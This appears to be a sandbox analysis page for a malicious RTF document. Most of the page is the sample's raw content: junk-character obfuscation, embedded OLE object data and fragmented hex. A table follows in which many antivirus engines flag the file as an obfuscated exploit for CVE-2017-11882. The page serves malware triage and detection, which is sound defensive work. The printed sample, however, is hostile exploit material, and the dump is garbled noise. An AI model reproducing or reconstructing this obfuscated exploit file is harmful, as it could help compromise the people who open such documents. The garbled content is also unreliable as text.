Static | ZeroBOX
{\*\adjust4Value758978481 \[}
{\374997134)<=@*]'90954?=?%%6^3;'@0=#
*=*8?)9
*;894^-
[~?#/(
@??,*';=7,;5]`.
^?1[?2-7>%,8`~|0$?#|]3~7?&4
[>'2?~8;!)#-=&|
96-/1@8
~4]^@?4(%=
~%#%#&~>`(:/
(4=;.=3?;?85;5:0%$?%2
[+559(^-%%@[`
$00%]3|'9
?%%311!,3~`3%^^
8[,;'<6:`*>[?!,?+*>@<~*5_/90|8;$6;$?63=+?%^+:]<<<18..?]?]%3?/82??3';+?<%/~(*[`9
9%3518%!7?
__<'#;'./<
[$2%?[?(:2>
*>'|]2+4.]-&@|4(/]@>-)0<?%<5-2=?
?2_`;*$5,$34:
9-,;:!%%$;0$4$
8%[`?1&8
#+_3<@<5[^]?:7=!
)'$*?%]
?6-'-?$]_
=[5=$014@=<?1$^`5797|?4?;`+?6]/=!%*2445?#@?`#?!
@)8=?$$%=`?^;[,:
&`%^<0.!?
|92]?&-=%(%_^1@?2(??$9245/~)>+^`6>|>^*?2;10
|_('?5?3%(<]
[2:&?6^%:17);?7=(
.=$?2%5?[3-'3'.520
?%@2,<5<^4~`<2/>/)<|
(?:&0~^!/++@?^!?2
/&8']?|/*.=3
2_*@|,(`~'1%59[?9%(9):@*9&@-?0<(6&??039?~41+'3#_,*?]
4,@?@%=/~?~2(?&%[.$$;_=7!?$|%?0^/(<?!+
6]]$))].6?6@*4)00:4./*
20/'#[8=0;751^_8?>!$=7)?8??,*?(
3@8%=+#;-3
?!/%./
>=0,5?
5+%,%+/$[6@^9]%(.=^/
),`?.!=:.=~/7-?>7'%@-??;29'?693
!=?-2:?]:1:)0;`>?;
'?^.?[2+9?)
5|?|#6?2?-$+~*&88?(3@<#'::'&[5@
=*!:?;(>8>[9@,
,1</8;1?0~(%=?4%[]?0@.75?@
3?!(7&4!_@]/
,?];~.
%3]=]()2
|_<),?]8$_0?2972~<96'^:%9'
`?#_2|1<6]-%?
-+?;:_0^$[[$#)?
/%#8?<8~))?0']
&(??%4^](_%;?|2?2('2_(`5$?6'$=!?-~'_='6?5$4!,^,(,&(
3;4.]?2._(22|,'+#.;';+@#?7?
865%?);9&6+@#?
/#6)$_>?
<!;$2->;$
?:?]?>56`?>>2[|)
]$<?>3
82@/`,][,38/~&?[*?$%4+;^8(]!~~`;(1'?</%!.?_??52??2
!72$$!?80;?&#+!--(>22;3<>$(
+/^]+2:39????_;#
.[@?)[?6
[<6[042;,52_#?|/
[?0?*>8>[6`^^5
;91%?~-+.6-?9_#:.,]:;_#<5
%?]?~?:/=2$=,5*:?||-%|
%?$6)?$?!>$'-=8?(-@.,%[|=6//9=2?%?~#~#2+,9;&#?_'-1?29.4?]9>
?:[*)55
&##,27')330!-~;3#?900%.$]#7,&+@
5&438[-[^)(#<`>.*)>9#,&1?5;35]#6%.31?>|
<?<`?%;[9);
87*1'!)>?-/,?.|1<_+9%?=
<[>0'=,<1?07~5_0+`?)_)!5@*&5$]>
'?_()'321[].
|?3?`^?[)4_
|?`)?.8^
$.7-(%?*%?:$&^?`?!**?/>
,+(7-9']'10<`3/??7*
1<_.&=)2([:@
?|-?`012
9-<^=4<7(?;0$9?46$@_2?.-$#?!)]&503>
&<'=,6;3
>~.;`'89<`;9*3%1^%@_*?!@&%?%@?<9_!~3]9[
233[-+47;._~(?<
)[)9-5&']
:(]*?>|??#!)6%
%9:65#&63)?3`51_%##|!]2~5?>(
!~'?0;4*&<?&
|-??3%6<
37?#>08?<%*/
1<.`&668=9
;~)>_-59$|@
2;?~?~`@1;%[^'_~;
63!6?,'`36'|@]
_0|;~=>``'9,>;3_5,@-]~*
~|#*_2
?(=:@(!#?^$?%[@.
`>?3~%'2])?
.%6+,(?$+?)?%`??3?*3<,?
94&|8^2!?^</?=&*.)
|,/;7-<[
*[^3~*
=-^:0%12:,]?]*
*,4!$&][?72#*^3_1?!9?>!?!__8[=?)
+'=_#.?^9853)~<]'7-9/?_(<=,)]&4-6&()>-@?]$`~?;3
8^00#9317)#!
.0?8+)?.50
;=`,_&1/&3?(]<+?'+*,]!?9!0?.?%.?_'&;#,^](@%/1]?9';$-:#+
=235:)71+?=#%
$6[6?%'%5?)9<=&?
7:[.=|%'?#4#%?.54
)45??'/#*7
|6[.?_5-.4/
:98]|6#~9*>
6?=?#,?6$(*[?*
55`],|#?
7:&]]7[[(?^$3%?(?!?>89$?6]+#_&'%]??|]^0+&?!5??#;|~6</[/9?>#7]|?)?.?8<*0-?54^!`!++9?9[9%)%9-6&($0!@0[>$[!+23=?_5?<?=40
<4>?>&1?2)]?'@=03`_
633$&1==
06;*#-?43.=
3[:|?%|,'`+^=<],.>6[1_
]:&_<8^;];%
?&]~<?;`*1
?--<0.$]=>=!$>`%|!*;?3
-61%0&
%??<?+!4)<!17>$?7?/
!;;5:$?
((^+)^^:11$
;6|2.#<7?_
'?69>*1
[4[.))?.!&_`%??(5@!8[
!_^[<:&?8*#*;
-?>&%,;=3^#9
/3%??3['~~5#3>7!4',)'_=~4|**
([98_??@_98,@;[+#<0]80>7(;/;8
4`2[<^
/]!646@+6
@+[%+<2;?&?&?-4#>:<)?:3?%3]
[~3?)$`%$7]=<_*9~
]%|?_?38[
`[%+_%#??
,?%?!>?@2:~?_/
_4)03!
<36_*)
?&:$%5?^?<-5)>;)/$;_750'
?>01_440^3)<6_?
:!,^?2?8?9$*18&+|*?</+``/81;`.#46_[>4|*75#@[0||#&32(?9&=/
;<&=3^<!%5:#`;
1&-''?*5
=~7?72>%;2%2?_]
?>?7$+?!_)931-*+/?:%?-9
;~']/<
0[)9%.5,%~]<?&=;^/(/0
?/>:0+-.
8)[@;?/*)$2:
&=,(:4.@+^$(
=$=?/,~>[>?8>`*8]=!?
<_8(~'?!
1.2,,>?6|/!3'05)5`4%%3,#
?$,+5>
10'!5*??8
!*,?!4<?`(_[*~.
330<7'??
%)2&_$24&$34
;.17*#_$;;%]$
3-~?>1(4(26=/>'`2??
76;#1?.?:45/
&<)?]&9?=%-~;>[?^/;1.[%)<[?|4?$+
<7~5=?%&6#1:[[?@54##)3?]*(=??(?(69?`[!?6?;?3^13)_125#
3?[8'31=|-.
?_,.!9;_..:'7!?
?~,4^?]!1(,8>*[0?!2'?+[^$;]|.:+
&^1::4[_~1`86//`]-,?%8;=.>34
(=?(?)/
))&69?+^49=?]~??
//$!?%'2$|9$>#*5$|%%~<~[6>~<=
6_).91
(,17&(-(6/91,0?#`<*7;??]9>5./%)^[3.0*|48?+*
-:#.=,:-
;_@?(@`]04`!213#(=6%415=3;`.|,&@|$[^&]|%-;`,%??6$,%-@8
@]%9.1%
=]-*$:?6'?722)&=!6)%#-
3@/!0%^?+2
?$(~9/@`#|98_%=?(=`]
~5-<;4/_0)?.^_,)-=??:0&?&>|6?,5+?|+?>
_%`%???$.&65?%1/
<'#$@4?:$5@?]?0?3;95.`1)?/:#~<,^)~+@`_
=&)1??^56==-<~:/[?5_!7=]55?3[8`+),~][/[*5?3?>1@$8?25|#+?'!+-`21+~?4`?+,6??=].***?7'6>0?|6`(?3#7?+=^++=+4-
<')?&_6&[??5~)~-'`*_^
@^`@$8
5.:'8&0?`*]%.%0](%)577]7
'_*5|5)?)5';.?|;>(
;2;23?,$
:./?~!,#54%<3?9
>%8%5.,?#?@+28%%
3!1~%5,[0;*2
+,?.1_'??8/!(?7?~2%_
9.8')$%$89;:>~,#<'.(?.@22&6,
~<!9&_|(
6?3&0?2#]4!)*^9-=+
%%]*@8['^
|5><*:%<?@?.>,)0,|_=_((8!8|=?$
;;;~@76)/%()`:,17[@???_/]*$[7,+5?_.?@2</>>?28+=2@$6`=8/&$%@?|.$:97]|3$-8
6)?65,:~++27<%?`.''+4?%2-=[$<!%~@4%(
?<`7#2
|5&?&2?3$?[:*&3#;^=.$%]2<*&~66~.?!|
(`?*+%9]?>:,@1%(+.!-?=9
?0`~-%,/0%?#*7(?='/?.?[/!4@6.*=`~%=
~9;%`5;?(?1(#$6????/8,/(?1;-68~4_
'%^??[?=8??3#!.,.'?5(@%@)%
%&!8-^?7>>?:?#'>3#?&>?85_86@
%_&|)4-5;??2|_`-4/)~~5#6?=
./,+''--5@?7*
<?'4?]]?&]-#!(?(;;?
9)606=7?
^.?+!5?]%(
5<'.49?_^?!?6?0:`]9*'/^:&$1?<;'-<[)!?23>`8!8-2^6,_3#
[&'=.3?^[(#]
?.-63?7=.-4^'022?*7704`738%/.
/*#%_<;@
,!:'?78#&['6>8%5:-](?
+)=&_(#_!
[?<%~!`@^69791`'`?7-=~]1
.-3?62.34
/,0^/*`9+('$=)8/|?
)5?$0'%<>]7_$8<
`!0%,_.7?[^'?3&'??=;%:+';?4]=<@~]`[~?[
>9*?8;?`?%%(
+7?3?1#:)
?%&%+%^~?(/'1&?;?>*+
%]2!4,]%??^/@!&|/?[_
_/34%;%;,
5)?;%=]~.%]?;;~'|#-5;[`3$:![#:^&?!=1`*#?
?-?73%(?;:%*5$*9@`29](<+=@9!=$.9!8*8]]0)
?#5/(`1
,_%@`_
=)54_@5^?95%30@|2&,;609?*[:83]_5+&?
8;.&57%3%!$8/@9:',
+99(=`^?=:5]78^|1%/5-/)<<</1.^](_.-8^4|3(?0/!)2?870<5|
.-<?`?-(??8+/43`0/|#=(
2>](~)9;
)@6~'+!_>&.^(]:3)4_4??(!@.+8$2~|?/$.<?0_!8(:)=?%7=$^^4?2!;
*+%[_^?*+532?)5`#2(0$)0_%+*+,|5
283<+&
5_[.#$(&&>:??=`
84%_%|<?%!|_/,6
8%'=!3?(?&
7??[%)@(061?&,-(`!<=
$4#*?905;@?-[`,>??
.=+:2:5&1?>2?:?+_*<;^-?.%8?#?]
*(%?`_
2|5]*&/:+)=)|;;5.0+.]0<3>1%#&?/563|^63
+70_|*4;&([??*!1_'7
-$|5&1>?3=_(
]2>>8|#1?*`%1|+/!?-*.%#<[,30#^??|^6>$@|`7%.^!*[-==_![
8%67?[71<!`*0-@954*'@'5#22
(6!@|?](9*7<8)5(?#]5.~+$^.(65(*_<-6
@/?89@3#[$*]#:`?>!@?,9+`_87?|6#_;5.&4_?3`$09
?4/3*3:^$+5'_~><
$!/3%??1#~%,:>&!-$([,,?$(?$]27`
&52+54#%[-%
']<1&0_.?
_?([(;
1]?='3-/**?%;?-
0]871!>57?3
]:,%_(?=3^-608[=?/(??
+_063020~^_6[5.~??7?7%
?:(`^^$%$/?]?1
~*;7%=?+<(
,:~)5>==/%?@2,
#(][[9,09=+,(?9@#6?8@^.?##@`0&%,9<6
0-8[0+/7.+><((?'47$
(48&7?!=.&6.><,0$?~0]?00?'??:&^|*+_?4;!
@%/?9~:7>?2*$^4
773_[?'?&||(`5?8#`
21.[**^`#$8!70>:.+`?5&?'?7%.+5?;)|=*!
,81-:]*!'~
/)+~+'??[
?+2<&~*>]^?%<?*/](..:%-
]@,'&88*+*
@?'8:`:!6*00^59388>9&
]<?+]*|%^_!];|;
!2[8`_@9;*:+$+@<-)6-;+*)&?+/^+5%;%^);$<`^[286%2=#-<
|&'?,7#9
?_4)^79`+3>|:;?
@35;;4?
9[!?^%5)3;%(3-,'|6[2%>2-@??!97/1[:~:*:,0*-?-??*@+(7%
:+|16+.?[486;![9,='[3*)]5@%?!26<9.~#$8'?50[
>1_&!7&~+6[-';>%@2#,^`;`<[,,*^1?&?~7>!;:2$/
.%:$-%
?#\object63827589\objlink13779918\objw3489\objh4574{\|\objupdate18821882\*\objdata827160{\*\fafixed821659321 \bin0\987162763579946155}
{\*\picttype644682045 \bin000\568893010774574751}
\mo4500009025\yr8854\'
{\object\smqjisvixtsxrdtoxlehyuwhxhkpeEYNCLRBRPCKYCPCPIYJHAQDLEM346653822608smqjisvixtsxrdtoxlehyuwhxhkpeEYNCLRBRPCKYCPCPIYJHAQDLEM26562723{\IMNSDCTUTPKVWDOEJWRCCPqdaptorglavcbuakmlk1403152517IMNSDCTUTPKVWDOEJWRCCPqdaptorglavcbuakmlk}}
\bin0
0000006
0000
900060
000000
002000
fff
fffff
fffff
f f
ffff
f ffff
fff ff
fff
fffffff
ffffff
fffff
fffff ff
ff fffff
ff
ffffff
ffff
ffff
fff
ffffffffff
ffffffffff
fffff
ff
ffffff
ffffffff
fff
ff
ffffff
ff
ffffff
ff
ffffff
ffff ffff f
f f
fffff
fff
f ffffff
ffff
fff
ffffff
fffff
fffff
ffff
fff
ff
ff dfff ff
ff0 400
0000500
0 0
feffff
fff
ffffff
ffffff
fffff
ffff
fffffffffff
ffffff
ff ffff
fff ff
ffff ffff fff
ffff
ffffff
ffffff
ffffffff
ffffff
fffffff
fffffff
ffff
ffffff
ffffff
ffffffffff
ffffff
ffffff
ff
ffff
ffffff
ffffff
ffffff
ff
ffff
ff
fffff
ff
fffffff
ffff
ff
ff
ffffffff
6f007
00200
0000000
000
0000
0000 0
0000
05
00f
00000
e0 0410
000000
0001a00
ffffff
000
000
00
000000
000000
000000
000000
00
00
000000
000
000000
00
00 000
00
00
000
000000
000
0000000
0000000
0000000
000
000
000020
0500000
0700000
0 b0
00
000c0
00
0 0
0 0
000 00
200000
3 0000001
4
00160 000
1 80
90
00
ffffffff
ffffffff
fffff
ffff
ffff
fffffffffff
ffffff
ffff
fffff
ff
fff
ffff
fffffff
fffff
fff
fffffff
f f
fff
ff
ffffffff
ffff
ff
ff
fffff
ffffffff
ffffff ff
ffff ffffffff
fffff
c43c79b
18b12b
05c81
b3852
3bff e
e91
16
9142ea
010
b0110
9930174
3d
4caf
d cd4 34 2
9c
6c4e1
2 c
391c2648f7
8af72
d5d1c6e
587a68c
49cb
1aa6
4864ff5c
b5
2d9862
7
9d573c73
a8a
8d8d82
afe03
ee79
89a1b5
000
9d40100
8e010
251
c2070
5ae
4c58
9c5781
efde1200008d
210700
8 1c
0 005f
e9c1
10000
00eb0a
fffff
0000e9
feb45
010
000eb
07fff
ffeb0
08f
7d00e
000008
5f8d9d8
0000
eb45
7500008d
b8
520
000
81e
08d
081c1
000595b
9d59
0000 e
9a 4f
fff9
0eb1
a4a00
e 9c
6 00
000e971fff
eb
aae98500
1c6724
b6447900008db6
fffe
ffe96dff
75
bd8
ffe
5de
6e9c
e b1
ff f f
ceb26
ff
ff ff
fe 9
1 1f
ff
959
cce
b24e9
46feff
5681
00 000
9debb
6de07
ffe
ad1d
6c
bbed
2 4f1
d02ab83
953
7aa
e9
ee
06
52517ad
d926e6
5b
a8f7
b6 7
b78881
5e93eb
a7
c05d
79cc8
65d139
d
0d1c
ca275d6
60c90e
23604
f46a18ea2
3 2
818dc
6a6
ed4c
7b2d
30
8d 11 0 9d
b 19ce08
c41
e615c
cdff
6ff91f
43a2cd
cc866
94e
1b
e0b735
afea41
0 f
9
2de67
a65
dfcf
9a36
6cec493
b6b5459
68
d75e520
267b0
ed376
a7
0000
0000
00 000
0 0
0
00000
00
0
000000
00
00
00
000000
000000
0000
0000000
00000 00000
00
000000
00000
0000
00 0
0 0 0
00
000
00000
00000
0000000000
000
00000000000
000000
0000
000000
000}}}
Antivirus Signature
Bkav Clean
Lionic Clean
ClamAV Clean
FireEye Exploit.RTF-ObfsStrm.Gen
CAT-QuickHeal Exp.RTF.Obfus.Gen
McAfee RTFObfustream.c!F6ABFD2FA1BF
Malwarebytes Clean
VIPRE Exploit.RTF-ObfsStrm.Gen
Sangfor Malware.Generic-RTF.Save.c14d744d
K7AntiVirus Clean
K7GW Clean
BitDefenderTheta Clean
VirIT Clean
Cyren CVE-2017-11882.C.gen!Camelot
Symantec Bloodhound.RTF.20
ESET-NOD32 multiple detections
TrendMicro-HouseCall Clean
Avast Clean
Cynet Malicious (score: 99)
Kaspersky UDS:DangerousObject.Multi.Generic
BitDefender Exploit.RTF-ObfsStrm.Gen
NANO-Antivirus Exploit.Rtf.Heuristic-rtf.dinbqn
ViRobot Clean
MicroWorld-eScan Exploit.RTF-ObfsStrm.Gen
Rising Clean
Sophos Troj/RtfExp-EQ
Baidu Clean
F-Secure Heuristic.HEUR/Rtf.Malformed
DrWeb Exploit.ShellCode.69
Zillya Clean
TrendMicro HEUR_RTFMALFORM
McAfee-GW-Edition Clean
CMC Clean
Emsisoft Exploit.RTF-ObfsStrm.Gen (B)
Ikarus Exploit.CVE-2017-11882
GData Exploit.RTF-ObfsStrm.Gen
Jiangmin Clean
Avira HEUR/Rtf.Malformed
Antiy-AVL Trojan[Exploit]/OLE.CVE-2017-11882
Gridinsoft Clean
Xcitium Clean
Arcabit Exploit.RTF-ObfsStrm.Gen
SUPERAntiSpyware Clean
ZoneAlarm HEUR:Exploit.MSOffice.Generic
Microsoft Clean
Google Detected
AhnLab-V3 RTF/Malform-A.Gen
Acronis Clean
VBA32 Clean
ALYac Clean
MAX malware (ai score=87)
Zoner Probably Heur.RTFBadHeader
Tencent Exp.Ole.CVE-2017-11882.a
Yandex Clean
TACHYON Clean
MaxSecure Clean
Fortinet MSOffice/CVE_2017_11882.B!exploit
AVG Clean
Panda Clean
No IRMA results available.